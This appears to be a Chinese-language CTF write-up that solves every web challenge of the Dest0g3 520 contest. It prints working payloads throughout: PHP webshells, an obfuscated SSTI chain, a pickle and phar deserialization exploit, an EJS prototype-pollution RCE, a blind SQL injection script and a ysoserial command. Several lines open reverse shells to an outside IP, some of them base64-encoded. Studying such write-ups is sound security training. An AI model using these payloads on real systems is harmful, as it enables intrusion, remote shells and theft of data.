【Web】Dest0g3 520迎新赛题解(全)

phpdest

EasyPHP

SimpleRCE

funny_upload

EasySSTI

middle

PharPOP

ezip

NodeSoEasy

Really Easy SQL&easysql

EzSerial

ljctr

phpdest

尝试打pearcmd，但似乎没有写文件的权限

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/yjh.php

访问/tmp/jyh.php回显404

于是用一个trick

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

base64解码拿到flag

这题估计也可以打php://input和日志包含，感兴趣可以试一试

EasyPHP

数组传参触发报错拿到flag

ctf[]=1

SimpleRCE

没过滤~

直接取反即可

funny_upload

前端限制禁用js即可

关于后端对文件内容检测的绕过：

文件上传之.htaccess的一些技巧 - FreeBuf网络安全行业门户

先上传对指定文件base64解码包含的.htaccess

#define width 1;
#define height 1;
AddType application/x-httpd-php .png
php_value auto_append_file "php://filter/convert.base64-decode/resource=base64yjh.png"

再上传base64编码的恶意图片马

连蚁剑，拿flag

EasySSTI

登录功能测出SSTI

绕过滤即可

读环境变量拿到flag

{%set%0aid=dict(ind=a,ex=a)|join%}{%set%0app=dict(po=a,p=a)|join%}{%set%0ann=dict(n=a)|join%}{%set%0aenv=dict(env=a)|join%}{%set%0appe=dict(po=a,pen=a)|join%}{%set%0att=dict(t=a)|join%}{%set%0agt=dict(ge=a,t=a)|join%}{%set%0aff=dict(f=a)|join%}{%set%0aooqq=dict(o=a,s=a)|join%}{%set%0afive=(lipsum|string|list)|attr(id)(tt)%}{%set%0ard=dict(re=a,ad=a)|join%}{%set%0athree=(lipsum|string|list)|attr(id)(nn)%}{%set%0aone=(lipsum|string|list)|attr(id)(ff)%}{%set%0ashiba=five*five-three-three-one%}{%set%0axiahuaxian=(lipsum|string|list)|attr(pp)(shiba)%}{%set%0agb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0abin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0aini=(xiahuaxian,xiahuaxian,dict(in=a,it=a)|join,xiahuaxian,xiahuaxian)|join%}{%set%0achcr=(lipsum|attr(gb))|attr(gt)(bin)%}{{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(env)|attr(rd)()}}

middle

进来直接拿到源码：

app.py

import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64


app = Flask(__name__)


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
    base_dir = os.path.dirname(__file__)
    resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
    resp.headers["Content-type"] = "text/plain;charset=UTF-8"
    return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
    data=request.form['data']
    User = restricted_loads(base64.b64decode(data))
    return str(User)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=5000)

config/__init__.py

import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

显然/home处存在白名单的pickle反序列化

Pickle反序列化 - 枫のBlog

因为只让用config中的module，所以要创建个config包

__init__.py和题目一样就行

import os
def backdoor(cmd):
    # 这里我也改了一下
    if isinstance(cmd,list) :
        s=''.join(cmd)
        print("!!!!!!!!!!")
        s=eval(s)
        return s
    else:
        print("??????")

main.py生成payload:

因为cmd要为list，所以要特殊构造一下

import pickle
import base64

import config


class payload(object):
    def __reduce__(self):
       return (config.backdoor, (["os.system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=|base64 -d|bash -i')"],))
a = pickle.dumps(payload())
a = base64.b64encode(a)
print(a)

打入pickle反序列化

反弹shell，命令执行拿flag

PharPOP

D这个类对文件可以写可以读，用来打phar反序列化

别的类打pop链也很容易看，最后涉及到原生反序列化读文件

php原生类利用 | Extraderの博客

glob:// — 查找匹配的文件路径模式

tree.__destruct -> tree.__call -> apple.__get -> air.__set

绕过throw，throw会阻碍析构函数进行，通过gc垃圾回收提前触发析构函数

绕过waf，waf过滤了很多关键字，使用gzip命令处理phar文件

<?php
class air{
    public $p;
}

class tree{
    public $name;
    public $act;
}

class apple {
    public $xxx;
    public $flag;
}


$a = new tree;
$b = new apple;
$c = new air;
$d = new tree;
// $d->act='FilesystemIterator';
// $c->p = $d;
// $b->xxx = $c;
// $b->flag = 'glob:///*f*';
// $a->name = $b;
$d->act='SplFileObject';
$c->p = $d;
$b->xxx = $c;
$b->flag = "/fflaggg";
$a->name = $b;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意
$phar->stopBuffering();

生成的phar文件在010editor中打开，删去最后一个}

修改签名并压缩phar文件

from hashlib import sha1
f = open('phar.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('fixed_phar.phar', 'wb').write(newf) # 写入新文件

以url编码形式输出文件内容

import urllib.parse

with open("fixed_phar.phar.gz", 'rb') as fi:
    f = fi.read()
    ff = urllib.parse.quote(f) #获取信息
    print(ff)

写入phar文件

0=%1F%8B%08%08%7C%22%1Df%00%03fixed_phar.phar%00s%F7t%B3%B0L%B4%B1/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5z%C8%C0%C0%C0%08%C4%82P%9A%81a5%10%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%D6%FEV%A6VJ%89%05%0590%19c%2B%A5%8A%8A%0A%90%04%90%95%98Y%A4de%08%126%B4R%2A%00%09%E20%C6%CF%1A%AC31%B9D%09%C82%042%83%0Br%DC2sR%FD%93%B2RA%82%B5%B5%60%D5i9%89%E9%20%15%16VJ%FAi%20N%3A%90%5B%8B%D0%EBg%CD%01tmIjq%89%5EIE%09%0B%C8%F9%8A%B2i%20%9A%A7%AE%FE%C66%88%87%C0%F2%CBO%CC%FE%BAh%E5%FC%1B%B2%AD%C9%1A%B7.8%19O%EC9%26%C9%04%94sw%F2u%02%00%15%9D%B7%24%27%01%00%00&1=O:1:"D":2:{s:5:"start";s:1:"w";}

phar协议读文件操作触发phar反序列化拿flag

0=phar:///tmp/96c72754133e4a4d55d0baee6bfdb66a.jpg&1=O:1:"D":2:{s:5:"start";s:1:"r";}

ezip

把🐍图用010editor打开

滑到最后有一段base64

解码得到源码

upload.php

<?php
error_reporting(0);
include("zip.php");
if(isset($_FILES['file']['name'])){
    if(strstr($_FILES['file']['name'],"..")||strstr($_FILES['file']['name'],"/")){
        echo "hacker!!";
        exit;
    }
    if(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)!="zip"){
        echo "only zip!!";
        exit;
    }
    $Myzip = new zip($_FILES['file']['name']);
    mkdir($Myzip->path);
    move_uploaded_file($_FILES['file']['tmp_name'], './'.$Myzip->path.'/' . $_FILES['file']['name']);
    echo "Try to unzip your zip to /".$Myzip->path."<br>";
    if($Myzip->unzip()){echo "Success";}else{echo "failed";}
}

zip.php

<?php
class zip
{
    public $zip_name;
    public $path;
    public $zip_manager;

    public function __construct($zip_name){
        $this->zip_manager = new ZipArchive();
        $this->path = $this->gen_path();
        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }

    public function deldir($dir) {
        //先删除目录下的文件：
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i<sizeof($file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."<br>";@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]);
            }
            else{
                if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."<br>";@unlink("/var/www/html/".$this->path."/".$file_list[$i]);}
            }
        }
        return true;

    }


}

先往yjh.php里写入一句话木马

再如下操作生成压缩包

通过故意将文件名和目录名混用，以及改变一个项目在文件系统中的类型（从文件到目录），来创建一个难以解压的ZIP文件

可以本地试一下

打靶机，解压失败，但是其是在解压出部分文件后直接exit，从而绕过后续的unlink

可以看到成功解压出一句话木马

连接蚁剑，直接读flag权限不够

【Web】超级详细的Linux权限提升一站式笔记_linux提权读取文件-CSDN博客

find / -user root -perm -4000 -print 2>/dev/null

nl有suid权限，可以直接读

NodeSoEasy

用的ejs模板引擎

/目录下存在原型链污染

直接打ejsRCE

关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台

文章里payload改一个污染深度就能用

payload:

{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1337 0>&1\"');","compileDebug":true}}

发包用application/json

监听，反弹shell，拿flag

Really Easy SQL&easysql

题目描述是钓鱼网站，用于搜集数据，后端sql处理是insert

时间盲注姿势

payload:

import time

import requests

url = "http://27436a6d-f94e-4aae-b417-b2c7ae9ff377.node5.buuoj.cn:81/index.php"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,{}-']
res = ''

for i in range(1,60):
    for j in string:
        time.sleep(0.1)
        #payload = f"username='or(if((ascii(right((select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema='ctf'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        #payload = f"username='or(if((ascii(right((select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name='flaggg'),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        payload = f"username='or(if((ascii(right((select%a0group_concat(cmd)%a0from%a0ctf.flaggg),{i}))='{j}'),(benchmark(2999999,md5('test'))),0))or'&password=a&submit="
        try:
            headers = {'Content-Type':'application/x-www-form-urlencoded'}
            requests.post(url=url, data=payload, headers=headers, timeout=1.5)
        except:
            res = chr(j)+res
            print(res)
            break

EzSerial

扫目录扫出/admin路由

在Cookie处rO0A起手，明显是java序列化的base64编码，可以打入反序列化

直接拿yso生成一下，打CC5

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjE=}|{base64,-d}|{bash,-i}" > payload.txt